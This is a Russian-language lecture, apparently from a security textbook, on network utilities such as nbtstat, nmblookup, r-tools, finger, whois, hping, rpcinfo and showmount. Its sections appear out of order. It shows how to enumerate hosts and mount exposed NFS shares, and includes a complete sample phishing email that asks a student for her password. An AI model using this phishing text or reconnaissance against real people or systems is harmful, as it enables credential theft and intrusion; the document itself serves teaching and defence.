Здесь мы можем видеть последних 10 входивших в систему пользователей, и как долго они оставались в системе. Большинство пользователей появились в FTP и не оставались в системе долго. А что же Гаврилов? Кажется, он вошел недавно и оставался там лишь минуту. Однако сейчас он вошел снова. Давайте посмотрим на его последние несколько логинов.

jjohnson@host:~% last | grep gstuart | head gstuart pts/0 192.168.1.10 Tue Feb 26 02:05 still logged in gstuart pts/0 192.168.1.10 Tue Feb 26 02:04 - 02:05 (00:01) gstuart pts/0 192.168.1.10 Tue Feb 26 02:03 - 02:04 (00:01) gstuart pts/0 192.168.1.10 Tue Feb 26 02:02 - 02:03 (00:01) gstuart pts/0 192.168.1.10 Tue Feb 26 02:01 - 02:02 (00:01) gstuart pts/0 192.168.1.10 Tue Feb 26 02:00 - 02:01 (00:01) gstuart pts/0 192.168.1.10 Tue Feb 26 01:59 - 02:00 (00:01) gstuart pts/0 192.168.1.10 Tue Feb 26 01:58 - 01:59 (00:01) gstuart pts/0 192.168.1.10 Tue Feb 26 01:57 - 01:58 (00:01) gstuart pts/0 192.168.1.10 Tue Feb 26 01:56 - 01:57 (00:01)

Гм: Этот парень определенно собирается делать какие-то непонятные вещи. Он входит в систему каждую минуту, выходит, а затем снова входит.

Теперь, когда мы знаем, что Гаврилов ведет себя странно, мы можем предпринять некоторые другие меры, чтобы проследить за ним и узнать, что он делает. Мы можем немедленно сделать копию его начальной директории, чтобы посмотреть ее в автономном режиме, что позволит нам увидеть историю его команд, электронную почту и любые другие средства, которые он недавно загружал и конфигурировал. Мы также видим, что он входит в систему с TTY pts/0. Запуск команды ps дает нам список всех запущенных процессов, что лучше указывает на то, что он собирается сделать. Как только мы собрали информацию, мы можем разместить более <продвинутые> средства, которые помогут нам собрать все куски вместе и проследить его шаги - но все это началось с двух простых системных утилит.

<

NBTSTAT


Мы сделали обзор некоторых средств, с помощью которых можно соединиться с Windows-компьютерами или общими SMB-ресурсами. Но с точки зрения взломщика, ему необходимо собирать информацию о нахождении исследуемых систем и получать сведения о полномочиях для доступа. NBTSTAT может в этом помочь.

NBTSTAT - Windows-утилита, работающая из командной строки, которая может быть использована для отображения информации о NetBIOS-соединениях и таблицах имен. NBTSTAT может собирать такую информацию, как MAC-адреса, имена NetBIOS, доменные имена, и о других активных пользователях. Эта утилита разработана, как средство для системных администраторов; однако, как и многие сетевые утилиты, она может быть использована для темных целей, как мы скоро сможем убедиться.



Ненадежность R-Tools


Создав файл с именем .rhosts в домашней директории, пользователь может создать список, состоящий из комбинации user/host которым разрешен доступ. Вы можете сделать это, определив строки вида hostname [username] для определения, что пользователь username с хоста hostname может использовать средства r-tools для соединения без использования пароля. Ленивый пользователь может просто задать комбинацию + + в своем файле .rhosts, открыв тем самым вход любому пользователю с любого хоста. Даже если безопасностью полностью не пренебрегли, пользователь может вставить строку +myusername, которая разрешает вход кому угодно, с любой машины, с именем myusername и без пароля.

Некто может создать учетную запись на своей локальной машине с именем myusername, запустить свою программу rlogin, и он тут как тут. Вы можете обнаружить здесь проблему с безопасностью. Давая возможность каждому пользователю ошиваться вокруг дыры в безопасности вашей системы, r-tools быстро сведет на нет те удобства, которые он предоставляет. Системные администраторы могут сделать тоже самое, используя глобальный файл hosts.equiv для определения доверенных для входа в систему средствами r-tool хостов и пользователей.

Более поздние версии r-tools поддерживают Kerberos-аутентификацию и пытаются использовать ее перед rhosts аутентификацией. Вдобавок, они могут поддерживать стандарт шифрования данных (DES) для шифрования данных на обеих сторонах поддерживаемого соединения.



Nmblookup


Мы говорили о необходимости знать NetBIOS-имена. Эта утилита поможет нам найти требуемую информацию.

Реализация. Посмотрим, что произойдет, если мы запустим nmblookup для 192.168.1.101

[jdoe@originix ~]$ nmblookup -A 192.168.1.101 Sending queries to 192.168.1.255 Looking up status of 192.168.1.101 received 8 names

BADMAN <00> B <ACTIVE> MYWORKGROUP <00> <GROUP> B <ACTIVE> BADMAN <03> B <ACTIVE> BADMAN <20> B <ACTIVE> MYWORKGROUP <1e> <GROUP> B <ACTIVE> JOEUSER <03> B <ACTIVE> MYWORKGROUP <1e> <GROUP> B <ACTIVE> ..__MSBROWSE__. <01> <GROUP> B <ACTIVE> num_good_sends=0 num_good_receives=0

Не совсем то, на что мы надеялись. У нас есть несколько имен, но как определить, что есть что. В данном примере достаточно просто понять, что имя хоста, который нам нужен, это BADMAN. Вывод этой команды практически идентичен выводу команды nbtstat -A. Несколько позже мы поговорим о смысле каждого конкретного имени в разделе "NBTSTAT".

Если нам нужен другой способ поиска IP-адреса NetBIOS-имени, мы можем сделать следующее.

[jdoe@originix ~]$ nmblookup badman Sending queries to 192.168.1.255 192.168.1.101badman<00>

Если мы добавим флаг -S, nmblookup добавит туже самую информацию, которую выводил с использованием опции -A.

Nmblookup использует несколько разных методов в попытке установить соответствие между именами (в соответствии с конфигурацией smb.conf). Доступны методы WINS или lmhosts, DNS или hosts, или широковещательный запрос (broadcast) (который требует, чтобы цель находилась в той же подсети)



Ping


Ping - одно из наиболее общих диагностических средств - просто посылает ICMP-запросы и ожидает ответа. Ping используется для тестирования сетевых соединений, но также может быть применен и в других целях, в чем вы сейчас сможете убедиться.



Почему запускается демон finger?


Finger-демоны были популярны несколько лет назад, особенно в академических кругах. Это не слишком веский аргумент, чтобы использовать его сейчас, поскольку - строго между нами - он выдает слишком много информации о вашей системе, и люди этим пользуются. Если вы хотите запустить finger-демон для локальных пользователей для поиска информации, по крайней мере, перекройте к нему доступ через брандмауэр (79 порт TCP). К сожалению, некоторые наиболее старые дистрибутивы Unix поставляются с предустановленным и готовым к работе демоном finger, поэтому иногда вы можете сталкиваться с системами, в которых администраторы не обратили внимания на эту службу и тем самым оставили открытой информационную брешь.

Пример из жизни. Социальная инженерия 101

Некоторые хакеры в душе - старомодные мошенники. Зачем хакеру беспокоиться о сканировании портов и поиске уязвимых сетевых серверов, если он может всего лишь убедить кого-нибудь предоставить ему доступ к системе?

Хакер запускает команды finger в местной образовательной сети и обнаруживает пользователя с довольно информативной записью в файле plan. Plan - специальный общедоступный пользовательский файл, который пользователи могут создать в своих начальных каталогах (~/.plan). Он содержит дополнительную информацию, которую пользователь хочет сообщить другим людям. Некоторые пользователи напрягают все силы и включают в файлы plan свои биографии, включая номера телефонов, адреса и альтернативные адреса электронной почты.

Login: cjones Name: Carla Jones Directory: /home3/cjones Shell: /bin/tcsh On since Tue Apr 30 00:37 (EDT) on pts/1 No mail. Plan: Hi! My name's Carla and I'm a 21-year old junior MassComm major who knows ABSOLUTELY NOTHING about computers! :-) My boyfriend Jon set this up for me because he said I need one - whatever!!! I'm hoping to get into broadcast journalism, but my true love is the theater! I love Broadway shows - and am always looking to go up to NYC and see one! E-mail me at cjones@my_university.edu if you're headed up there and want some company! :-) Bye for now...


О! Как много этот plan говорит хакеру о Карле. Хакер связывается с Карлой по электронной почте.

Dear Carla,

My name is Jennifer Winslow from FreeBroadway! We are a non-profit organization that provides theater-loving college students chances to see Broadway shows FOR FREE and keeps you updated on news and events! Your friend Jon has signed you up for a two-year subscription to our electronic newsletter. By registering with us, you are also eligible to win an all-expenses paid trip to New York City for three days and two nights in which you'll get treated to FIVE Broadway shows of your choice!

In order to track the progress of our contest and get full access to all that FreeBroadway has to offer, you'll need to create an account with us. We'll need the following information from you:

Full Name Address (city, state, zip) Phone

You'll also need to choose a username and password so that you can access your FreeBroadway account once it's created. This will allow us to verify that you are Carla Jones when the time comes to claim a prize. You can use the same username and password that you use for your current e-mail account.

More news and information will follow once we hear back from you. Congratulations Carla, and welcome to FreeBroadway.

Sincerely, Jennifer Winslow

Вы можете подумать, что большинство людей не попадутся на такую очевидную уловку. Вы будете удивлены. Велика вероятность, что Карла с радостью снабдит нашего хакера информацией о логине, которым она пользуется в данной системе электронной почты.

Социальная инженерия может быть применена также и другими способами. В следующем разделе мы обсудим средство whois, которое может дать хакерам важные административные, технические и относящиеся к выписке счетов контакты организаций. Если хакер фокусирует внимание на одном из контактных имен и сможет собрать достаточно информации об этом человеке, то он может сконструировать похожее профессиональное электронное послание - заставляя работодателя разгласить информацию, которую он или она обычно не раскрывают незнакомцам.


Получение MAC-адресов


Еще одна разновидность информации, которую можно получит с помощью NBTSTAT - это аппаратные Ethernet-адреса (или MAC-адреса). В нашем случае IP-адресу 192.168.1.102 соответствует MAC-адрес 00-50-DA-E9-87-5F. MAC-адрес состоит из 48 бит информации и включает в себя 12 шестнадцатеричных чисел или шесть октетов. Первые (считая слева) 6 цифр (три октета) представляют собой серийный номер интерфейса конкретного поставщика оборудования. Первые шесть цифр считаются уникальным идентификатором производителя (Organizationally Unique Index OUI).

Ниже приведены несколько примеров наиболее распространенных кодов OUI.

SUN MICROSYSTEMS INC. (08-00-20)The Linksys Group, Inc. (00-06-25)3COM CORPORATION (00-50-DA)VMWARE, Inc. (00-50-56)

В нашем примере, система имела MAC-адрес 00-50-DA-E9-87-5F. Это означает, что производителем сетевого интерфейса была фирма 3COM (00-50-DA). MAC-адрес 08-00-20-00-07-E1 означает, что производителем сетевого интерфейса была компания Sun Microsystems (08-00-20), а MAC-адрес 00-06-25-51-CC-77 свидетельствует, что интерфейс сделан фирмой Linksys.

Выполненная в системе команда nbtstat показывает следующее.

C:\>nbtstat -A 192.168.1.47

NetBIOS Remote Machine Name Table

Name Type Status --------------------------------------------------------------------- NT4SERVER <00> UNIQUE Registered Inet~Services <1C> GROUP Registered IS~NT4SERVER... <00> UNIQUE Registered NT4SERVER <20> UNIQUE Registered WORKGROUP <00> GROUP Registered NT4SERVER <03> UNIQUE Registered WORKGROUP <1E> GROUP Registered WORKGROUP <1D> UNIQUE Registered ..__MCBROUSE__. <01> GROUP Registered ADMINISTRATOR <03> UNIQUE Registered

MAC Address = 00-50-56-40-4C-23

Эта машина называется NT4SERVER и имеет MAC-адрес 00-50-56-40-4C-23. По значению OUI (00-50-56) можно определить, что производителем сетевого интерфейса является компания VMware, Inc. VMware производит программное обеспечение, реализующее виртуальные машины для серверов и настольных компьютеров (см. лекцию "VMware"), что говорит о том, что система, с которой мы общаемся, возможно, виртуальный NT-Сервер, запущенный под управлением другой операционной системы на хосте.

Примечание. Полный список идентификаторов OUI можно скачать по адресу http://standards.ieee.org/regauth/oui/index.shtml. Некоторые производители предпочитают не публиковать свой код OUI.

Поскольку Windows-машины передают эту информацию без ограничений в процессе работы в сети, они не фиксируют в системном журнале попытки получения этих данных. Брандмауэры и системы обнаружения вторжений настраиваются только на обнаружение и блокировку передачи этого трафика вовне.



Пример вывода


Проанализируем некоторые примеры вывода, который мы получили, выполнив команду rpcinfo -p originix.

Program vers proto port 100000 2 tcp 111 portmapper 100000 2 udp 111 portmapper 100011 1 udp 749 rquotad 100011 2 udp 749 rquotad 100005 1 udp 759 mountd 100005 1 tcp 761 mountd 100005 2 udp 764 mountd 100005 2 tcp 766 mountd 100005 3 udp 769 mountd 100005 3 tcp 771 mountd 100003 2 udp 2049 nfs 100003 3 udp 2049 nfs 300019 1 tcp 830 amd 300019 1 udp 831 amd 100024 1 udp 94 status 100024 1 tcp 946 status 100021 1 udp 1042 nlockmgr 100021 3 udp 1042 nlockmgr 100021 4 udp 1042 nlockmgr 100021 1 tcp 1629 nlockmgr 100021 3 tcp 1629 nlockmgr 100021 4 tcp 1629 nlockmgr

Здесь мы видим, что на машине запущен NFS, как nfs, а также работают nlockmgr и mountd. Теперь мы можем поискать в интернете, чтобы увидеть, можем ли мы найти средство для взлома NFS, чтобы испытать его на этом хосте.


Вот что произойдет, если мы запустим команду showmount -e originix.
Export list for 192.168.1.100: / (everyone) /boot (everyone)
Чтобы подчеркнуть этот пример, мы бесстрашно экспортировали все наши файлы, так что кто угодно может смонтировать нашу корневую директорию и загрузочный сектор. Мы можем смонтировать эти файлы к локальной точке монтирования в нашей системе, используя команду mount 192.168.1.100:/boot/path/to/remote-boot. Это позволит назначить директорию /path/to/remote-boot на нашей машине директории /boot на хосте 192.168.1.100. К сожалению, мы не знаем, есть ли доступ на чтение/запись или только на чтение, до тех пор, пока не произведем монтирование, но, тем не менее, у нас есть доступ. Если мы видим имя хоста или IP-адрес вместо "everyone", это может быть поводом для небольшого фокуса, чтобы сфабриковать этот IP-адрес или имя хоста.
Внимание! Будьте осторожны при использовании NFS. Если вы бесстрашно экспортируете устройство всему миру и разрешите доступ на чтение/запись для всех, любой, кто обнаружит экспортированную вами файловую систему, сможет записать туда все, что захочет, и создать полную копию системы. В большинстве случаев экспортированные файловые системы не должны монтироваться с полным доступом, без какого-либо контроля. NFS-трафик должен блокироваться на брандмауэре для ограничения числа людей, толкущегося вокруг вашей экспортированной файловой системы. Если вам на самом деле необходимо осуществлять удаленный доступ к общим ресурсам через интернет, AFS обеспечит более высокий уровень безопасности.

Проблемы с RPC


У NFS и NIS есть уязвимые места, которые легко обнаружить с помощью rpcinfo. Утилита portmapper небезопасна, поскольку единственный способ аутентификации основан на TCP-пакетах и может быть легко подделан. Sun сделал шаг в сторону усиления безопасности RPC введя Secure RPC, который использует разделяемый DES-ключ аутентификации, который должен быть известен обоим сторонам. Однако, в большинстве случаев, у внешних сетей не должно быть возможности доступа к нашей службе portmapper. Если такая возможность есть, неизвестно, какую информацию они могут получить - или что еще хуже, какие дыры они могут открыть. Выключайте или блокируйте службы с помощью брандмауэра, чтобы внешние пользователи не могли получить к ним доступ.



Программы для работы с протоколом SMB (Server Message Block Protocol)


Когда пользователи вспоминают Windows и сети, они обязательно вспоминают про "Сетевое окружение", которое может быть открыто в окне "Моя сеть" в Windows 2000, ME и XP. Когда вы просматриваете сеть и получаете доступ к файлам, вы используете протокол, который называется Server Message Block Protocol (SMB). Большинство людей, которые открывают для общего доступа папки и файлы на своих компьютерах, надеются, что только члены их локальной сети имеют доступ к сетевым ресурсам, видимым в "Сетевом окружении". Однако, как и большинство утилит с графическим интерфейсом, сетевое окружение опирается на программу нижнего уровня, выполняемую в командной строке. Эта программа называется net, и сейчас самое время познакомиться с ней.



R-Tools


R-tools - наименее безопасная утилита, которую вы можете запустить в Unix-системе. Она использует базовую Unix-аутентификацию "rhosts", которая опирается на доверие имени пользователя и имени хоста. Возможно, одна из самых больших проблем с этим режимом аутентификации заключается в том, что пользователь может настроить свой доступ так, что он сможет войти отовсюду, не вводя пароль.

Советуем никогда не запускать какую либо из r-служб. Если вы системный администратор, избегайте этого как чумы. Отключите эти службы и удалите их на всех системах. Если вы взломщик, r-tools могут отбить у вас вкус к работе.

Как администратор, вы должны использовать SSH, который использует более надежные способы аутентификации и шифрует свой трафик. Но это не означает, что другие системные администраторы с этого момента не захотят запускать r-tools

Здесь мы расскажем вам о некоторых доступных средствах из арсенала r-tools, и вы сможете убедиться, насколько они опасны.



Реализация


Начнем с последовательного ознакомления с аргументами командной строки и их краткого описания, как это представлено в таблице 2.1. Мы будем следовать примерам использования наиболее важных команд и знакомиться с тем, что они делают. Наберите флаг /? после любой из команд, приведенных в таблице, чтобы получить расширенную информацию о синтаксисе команды.

Таблица 2.1. Аргументы командной строки net

Командная строка9xNTMe2000XPОписание
net accountsNoYesNoYesYesОпределяет параметры политики доступа в систему, такие как срок действия пароля, историю паролей и политику блокировки и выхода из системы.
net computerNoYesNoYesYesДобавляет или удаляет компьютеры в домен.
net configYesYesYesYesYesОтображает текущую информацию о сервере и рабочей группе, включая имя компьютера, имя пользователя, версию программного обеспечения и имя домена.
net continueNoYesNoYesYesПерезапускает приостановленную службу.
net diagYesNoYesNoNoОтображает диагностическую информацию о соединениях оборудования в сети.
net fileNoYesNoYesYesОтображает имена всех открытых в настоящее время файлов и предоставляет возможность их закрытия.
net groupNoYesNoYesYesУстановка свойств Общей группы Windows (только на контроллере домена).
net helpYesYesYesYesYesВыводит информацию о доступных командах
net helpmsgNoYesNoYesYesВыводит подробную информацию по номерам сообщений об ошибках.
net initYesNoYesNoNoЗагружает драйверы протоколов и сетевых карт без присоединения их к Менеджеру протоколов Windows.
net localgroupNoYesNoYesYesКонфигурирование свойств рабочей группы.
net nameNoYesNoYesYesУстанавливает имя, по которому компьютер будет получать сообщения.
net logoffYesNoYesNoNoЗакрывает соединение между вашим компьютером и сетевыми ресурсами, к которым вы были подсоединены.
net logonYesNoYesNoNoВход в домен или рабочую группу.
net passwordYesNoYesNoNoИзменяет пароль для заданного пользователя.
net pauseNoYesNoYesYesПриостанавливает работу выполняющейся службы.
net printYesYesYesYesYesПолучение информации и управление очередью печати компьютера.
net sendNoYesNoYesYesПосылает сообщение другому пользователю или компьютеру в сети.
net sessionNoYesNoYesYesОтображает список прерванных соединений между компьютером и другими устройствами в сети.
net shareNoYesNoYesYesСоздает, уничтожает или отображает список общих ресурсов.
net startYesYesYesYesYesЗапускает службу
net statisticsNoYesNoYesYesОтображает статистику для сервера или рабочей станции, такую как использование сети, открытые файлы или задания на печати.
net stopYesYesYesYesYesОстанавливает работу службы.
net timeYesYesYesYesYesОтображает время, синхронизированное со специальным сервером времени в сети.
net useYesYesYesYesYesСоединяется или отсоединяется от общих сетевых ресурсов; выводит информацию об общих сетевых ресурсах.
net userNoYesNoYesYesДобавляет или удаляет пользователя.
net verYesNoYesNoNoОтображает информацию о версии редиректора вашей рабочей группы.
net viewYesYesYesYesYesОтображает список общих ресурсов для заданного компьютера или всех компьютеров подсети.


Набрав в командной строке Windows nbtstat, мы увидим информацию об использовании этой утилиты.

C:\WINDOWS\Desktop>nbstat

Displays protocol statistics and current TCP/IP connections using NBT (NetBIOS over TCP/IP). NBTSTAT [-a RemoteName] [-A IP address] [-c] [-n] [-r] [-R] [-s] [S] [interval] ] -a (adapter status) выдает список таблицы имен удаленной машине по ее имени. -A (Adapter status) выдает список таблицы имен удаленной машине по ее IP-адресу. -c (cache) список содержимого кэша удаленной машины, включая ее IP-адрес. -n (names) список локальных NetBIOS-имен. -r (resolved) список имен, найденных через широковещательный запрос и WINS. -R (Reload) сбрасывает и перезагружает удаленную таблицу имен. -S (Sessions) выводит таблицу сессий, установленных с заданным IP-адресом. -s (sessions) выводит таблицу сессий, преобразуя заданные IP-адреса в имена хостов на основе содержимого файла hosts. -RR (ReleaseRefresh) отсылает на WINs пакеты Release names, а затем выполняет обновление.

RemoteName имя удаленной машины. IP-address десятичное представление IP адреса. Interval обновление выведенной статистики. Промежуток в секундах между обновлением информации. Нажмите Ctrl-C для завершения обновления.

C:\WINDOWS\Desktop>

Если мы работаем на локальной машине, то можем использовать NBTSTAT для мониторинга информации о нашей локальной сессии, проверять и сбрасывать кэш WINS-имен, делая все это в режиме реального времени, задав интервал (в секундах) в конце командной строки. Например, команда nbtstat -S 2 позволит осуществлять мониторинг текущих открытых NetBIOS-сессий, установленных между локальной системой и другими машинами в сети, и будет обновлять эту информацию каждые две секунды.

C:\WINDOWS\Desktop>nbtstat -S 2

NetBIOS Connections Table

LocalName State In/Out Remote Host Input Output -------------------------------------------------------------- WINBOX <03> Listening WINBOX Connected in 192.168.1.102 10Kb 208Kb WINBOX Listening WINBOX <03> Listening




Можно использовать regdmp, чтобы получить сведения о том, какие службы и приложения запускаются на нашем компьютере в момент загрузки.

C:\Windows\Desktop\> regdmp HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Мы должны убедится, что в момент загрузки не запускается никаких зловредных программ, вроде Netcat или Netbus.

У regdmp есть опция -m, которая позволяет задать удаленный хост. Обычно только администратор имеет удаленный доступ к реестру, но можно попытаться сделать это, и, не будучи администратором.

C:\Windows\Desktop\>regdmp -m 192.168.1.102 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Подробнее мы обсудим использование regdmp в лекции "Компоновка и использование набора инструментов для расследования хакерских атак, то есть для "живого ответа" в системе Windows".




Поскольку используется много версий finger-клиентов и демонов, то может меняться состав доступных опций, но мы приведем основную информацию о том, что можно получить с помощью утилиты finger.




Сама по себе команда весьма проста. Наиболее старые версии команды whois требуют ввода имени хоста, на котором поддерживается whois-сервер с использованием флага -h. Оставшаяся часть командной строки содержит в себе запрос, который мы хотим послать. Команда fwhois требует сначала определить запрос, и при необходимости в конце задать адрес whois с сервера (@whois_server).

Следующие две команды идентичны друг другу.

bash% whois -h whois.networksolutions.com yahoo.com

и то же самое

bash% fwhois yahoo.com@whois.networksolutions.com

По умолчанию используется сервер whois.internic.net. Мы можем запустить команду whois без указания имени сервера, чтобы получить самую общую информацию о домене.

bash% whois yahoo.com Domain Name: YAHOO.COM Registrar: NETWORK SOLUTIONS, INC. Whois Server: whois.networksolutions.com Referral URL: http://www.networksolutions.com Name Server: NS3.EUROPE.YAHOO.COM Name Server: NS5.DCX.YAHOO.COM Name Server: NS4.DAL.YAHOO.COM Name Server: NS2.SAN.YAHOO.COM Name Server: NS1.SNV.YAHOO.COM Updated Date: 05-nov-2001

На выходе мы получили информацию о серверах доменных имен и сведения о том, когда в последний раз обновлялась соответствующая запись. Но здесь нет никакой информации о местоположении сервера или контактной информации. К счастью, здесь есть ссылка на другой whois-сервер, где должна быть интересующая нас информация. Теперь, если мы попытаемся выполнить команду whois -h whois.networksolutions.com yahoo.com, мы должны будем получить ту же самую информацию что и ранее, но вдобавок еще и сведения о географическом положении и контактную информацию.

Таким образом, если нам надоело назойливое сканирование портов с адреса somesystem.some_loser.org, теперь мы можем просто связаться с организацией SomeLoser и выразить протест. Whois - также весьма полезен для взломщиков, которые пытаются преследовать особые цели.

Но что делать, если мы не знаем имени хоста. Что если в нашем распоряжении имеется только IP-адрес. К счастью, есть whois-серверы, которые поддерживают выполнение запросов по IP-адресу.




Во-первых, упомянем несколько весьма важных параметров командной строки. Есть много различных реализаций команды Ping, но большинство Ping-утилит для Unix-систем имеют общие параметры командной строки. Основные отличия Unix- и Windows-реализаций этой утилиты представлены в таблице 2.3.

Таблица 2.3. Общие параметры командной строки Ping

ПараметрОписание
-c count (Unix) -n count (Windows)Количество посылаемых вызовов.
-f (Unix)Потоковый вызов, при котором посылается столько запросов, сколько возможно. Выводит символ (.) для каждого посланного запроса и символ (^H) для каждого полученного ответа. Обеспечивает визуальное отображение количества потерянных пакетов. Этот параметр может использовать только пользователь с правами супервайзера.
-i wait (Unix)Определяет время ожидания в секундах между посылкой пакетов (по умолчанию 1 сек.).
-m TTL (Unix) -i TTL (Windows)Определяет параметр времени жизни (TTL)..
-n (Unix) -a (Windows)В Unix-системах параметр -n указывает на то, что не нужно определять имя для IP-адреса (выводятся только числовые значения). Параметр -a в Windows сообщает о необходимости определения имени по IP-адресам. В Unix и Windows реализациях утилиты по умолчанию определяется разное значение параметра разрешения имен.
-p pattern (Unix)Позволяет вам дополнить заголовок посылаемого ICMP-пакета специальным шаблоном, чтобы определить идентичность получаемой в ответ информации.
-q (Unix)Запрещает вывод промежуточной информации, разрешая вывод обобщенных сведений после завершения работы программы.
-R (Unix) -r (Windows)Определяет параметр "record route" для ICMP-пакета. Если маршрутизатор поддерживает такую возможность, он будет записывать маршрут пакета, получаемый с параметрами IP, и будет отображать его в результатах работы программы после получения ответа. Однако большинство маршрутизаторов игнорирует параметры маршрутизации по источнику, и поэтому игнорируют этот параметр.
-s size (Unix) -l size (Windows)Дает возможность определить размер ICMP-пакета. Заголовок ICMP-пакета имеет 8 байт в длину, таким образом, реальный размер пакета будет составлять <size> + 8. По умолчанию для Unix значение параметра равно 56 и 24 для Windows. Это соответствует 64 и 32 байтам, если принять во внимание длину заголовка.
-w wait (Unix) -w timeout (Windows)Прерывает работу программы после заданного ожидания. Определяет задержку в <timeout> миллисекунд перед завершением запроса.
<


Так же как и Ping, команда traceroute имеет несколько различных реализаций. Так же как и Ping, реализация traceroute для Windows сильно отличается от версии, используемой для Unix. Настолько что Windows-утилита носит название tracert, напоминая о том, что в системе Windows эта программа используется без поддержки длинных имен файлов. В таблице 2.4 описаны некоторые наиболее важные параметры командной строки (все параметры, если иное не оговаривается, приводятся для Unix-версии).

Таблица 2.4. Общие параметры командной строки Traceroute

ПараметрОписание
-g hostlist (Unix) -j hostlist (Windows)Определяет маршрут для прохождения пакетов (см. лекцию "NETCAT и CRYPTCAT").
-i interfaceЗадает используемый для отсылки пакетов сетевой интерфейс (для хоста с несколькими сетевыми интерфейсами).
-IОпределяет использование ICMP-сообщений вместо UDP. По умолчанию traceroute посылает UDP-пакеты порту, который обычно бывает свободным, так что конечный хост может послать в ответ сообщение PORT_UNREACHABLE в ответ на пришедшие пакеты.
-m hops (Unix) -h hops (Windows)Задает максимальное число промежуточных хостов, которое может быть пройдено до конечного пункта. Если конечный хост не достигается за заданное число шагов, все возвращается обратно. По умолчанию равно 30.
-n (Unix) -d (Windows)Запрещает определение имен для IP-адресов. Обычно это существенно ускоряет работу программы, но в этом случае вы не сможете получить представление о географическом положении хостов.
-p portЕсли мы используем traceroute на основе протокола UDP и конечный хост прослушивает номера портов вокруг значения по умолчанию(33434), мы можем определить здесь другой номер порта.
-w (Unix and Windows)Задает время ожидания ответа от промежуточных хостов.




Исходные тексты программы hping можно загрузить по адресу http://www.hping.org/. Процесс инсталляции детально описан в файле README, так же как и несколько примеров использования этой программы.

Примечание. Исполняемый модуль hping2 необходимо запускать, имея полномочия пользователя root, чтобы иметь возможность использовать некоторые программы сетевых интерфейсов, которые требуются для работы.

[root@originix hping2]# ./hping2 -c 4 -n -i 2 192.168.1.101 HPING 192.168.1.101 (eth0 192.168.1.101): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=192.168.1.101 flags=RA seq=0 ttl=128 id=54167 win=0 rtt=0.8 ms len=46 ip=192.168.1.101 flags=RA seq=1 ttl=128 id=54935 win=0 rtt=0.7 ms len=46 ip=192.168.1.101 flags=RA seq=2 ttl=128 id=55447 win=0 rtt=0.7 ms len=46 ip=192.168.1.101 flags=RA seq=3 ttl=128 id=55959 win=0 rtt=0.7 ms

--- 192.168.1.101 hping statistic --- 4 packets tramitted, 4 packets received, 0% packet loss round-trip min/avg/max = 0.7/0.8/0.8 ms

По умолчанию hping использует TCP-протокол. Программа создает пустые TCP-пакеты с размером окна равным 64 и неустановленными флагами заголовка, и посылает эти пакеты на порт с номером 0 требуемого хоста. В данном примере флаг -c 4 указывает программе на необходимость послать 4 пакета, флаг -n запрещает разрешение имен, и флаг -i 2 задает интервал между попытками равным двум секундам.

Примечание. Есть только один способ обнаружить использование программы hping в вашей сети: установить систему обнаружения вторжений, анализирующей трафик по порту с номером 0.

Это позволяет нам понять, что хост работает в том случае, когда у него блокируется передача ICMP-пакетов. Хорошо еще и то, что этот вид деятельности редко заносится в какой-либо из системных журналов.

Какой ответ мы получим от системы? Параметр len полученных обратно IP-пакетов. ip, соответственно - IP-адрес. flags показывает, какие TCP-флаги установлены в получаемых обратно пакетах. В данном случае установлены влаги RESET и ACK. Другие возможные значения: SYN (S), FIN (F), PUSH (P), и URGENT (U).


rpcinfo -p hostname. Это основной способ использования rpcinfo для вывода полного списка RPC-служб, которые зарегистрированы с использованием portmapper.

rpcinfo -u hostname programid [version]. Получив ID-номер RPC-программы, версию и номер порта мы можем использовать эту команду для создания RPC-вызова и получения информации об отклике. Добавление параметра -n portnumber позволяет использовать отличный от зарегистрированного portmapper номер порта. Параметр -u означает использование UDP; чтобы использовать TCP, можно применить параметр -t. Номер версии программы - не обязательный параметр.

rpcinfo -b programid version. Эта команда позволяет сделать широковещательный RPC-запрос с целью получить соединение со всеми машинами в локальной сети и определить те из них, которые ответят. Таким способом можно выявить машины, которые используют уязвимые RPC-службы.

rpcinfo -d programid version. Это команда может получить идентификатор/номер версии "незарегистрированных" программ. Может выполняться только на локальной машине с полномочиями пользователя root.

rpcinfo -m hostname. Параметр -m то же самое, что и -p за исключением того, что он выводить на экран таблицу статистики: число RPC-запросов, которые обслужила RPC-служба. Этот параметр доступен не на всех платформах. Linux-версии не включают этот параметр, но более новые версии Solaris (SunOS 5.6 и выше) его поддерживают. За более подробной информацией обращайтесь к man-страницам.




Эта команда отображает все смонтированные директории на NFS-сервере и имена хостов клиентов, которые к ним смонтированы.

showmount -a hostname

Флаг -d идентичен флагу -a, но он не выводит имена клиентских хостов.

showmount -d hostname

Это наиболее популярный формат команды. Эта команда показывает точки монтирования, которые экспортированы и доступны для монтирования с использованием NFS.

showmount -e hostname



REGDMP


Regdmp является стандартной Windows-утилитой из набора NT Resource Kit, которая позволяет вывести на стандартный вывод или сбросить в файл информацию о ключах реестра. Если взломщик имеет доступ к командной строке Windows-машины, то он может с помощью regdmp сбросить в файл некоторую интересную информацию о ключах и переменных реестра - или получить содержимое всего системного реестра. С другой стороны, интерфейс командной строки regdmp сам по себе служит для написания скриптов и получения справочной информации.



Rexec


Эта программа обменивается информацией с программой rexecd, выполняемой на TCP-порту с номером 512. Функционально она весьма близка с программой rsh. Она использует следующий формат командной строки:

rexec username@host_name command

Пароль может быть определен в командной строке с помощью параметра -p (плохая мысль, поскольку он может быть сохранен в журнале командного интерпретатора). Если пользовательские полномочия не введены, rexec пытается использовать записи в файле ~/.netrc для входа в систему.



Rlogin, Rsh и Rcp


Также как и telnet, rlogin запускается поверх TCP на 513 порту (который прослушивается процессом rshd) и обеспечивает удаленный доступ к командному интерпретатору системы. Rsh делает те же самые вещи, исключая выполнение отдельных команд на удаленном хосте, возвращает вывод этих команд, и немедленно прерывает соединение. Rcp может копировать файлы на или с удаленного хоста.

Ниже приведен пример командной строки:

rlogin -l myusername myhost rsh -l myusername myhost "ls -al" rcp myusername@myhost:/path/to/remotefile localfile



RPCINFO


